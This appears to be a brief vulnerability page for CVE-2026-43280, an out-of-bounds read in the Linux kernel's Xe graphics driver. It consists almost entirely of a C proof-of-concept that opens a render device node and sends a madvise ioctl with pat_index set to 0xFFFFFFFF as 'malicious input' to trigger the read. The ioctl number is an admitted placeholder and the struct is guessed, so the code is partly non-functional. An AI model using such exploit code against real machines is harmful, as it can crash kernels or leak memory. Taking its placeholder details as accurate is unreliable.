CVE-2026-43280 Linux内核越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // This is a conceptual Proof of Concept for CVE-2026-43280 // Actual IOCTL definitions depend on kernel headers #define DRM_IOCTL_XE_GEM_MADVISE 0x00 // Replace with actual IOCTL code if known struct drm_xe_gem_madvise { __u32 handle; __u32 madv; __u32 pat_index; // The vulnerable field __u32 retained; }; int main() { int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_xe_gem_madvise args = {0}; // Setup basic arguments args.handle = 1; args.madv = 1; // Malicious input: trigger OOB read by setting a large pat_index args.pat_index = 0xFFFFFFFF; printf("Sending malicious IOCTL with pat_index=0x%x...\n", args.pat_index); if (ioctl(fd, DRM_IOCTL_XE_GEM_MADVISE, &args) < 0) { perror("IOCTL failed"); } else { printf("IOCTL executed. Check dmesg for kernel warnings or crashes.\n"); } close(fd); return 0; }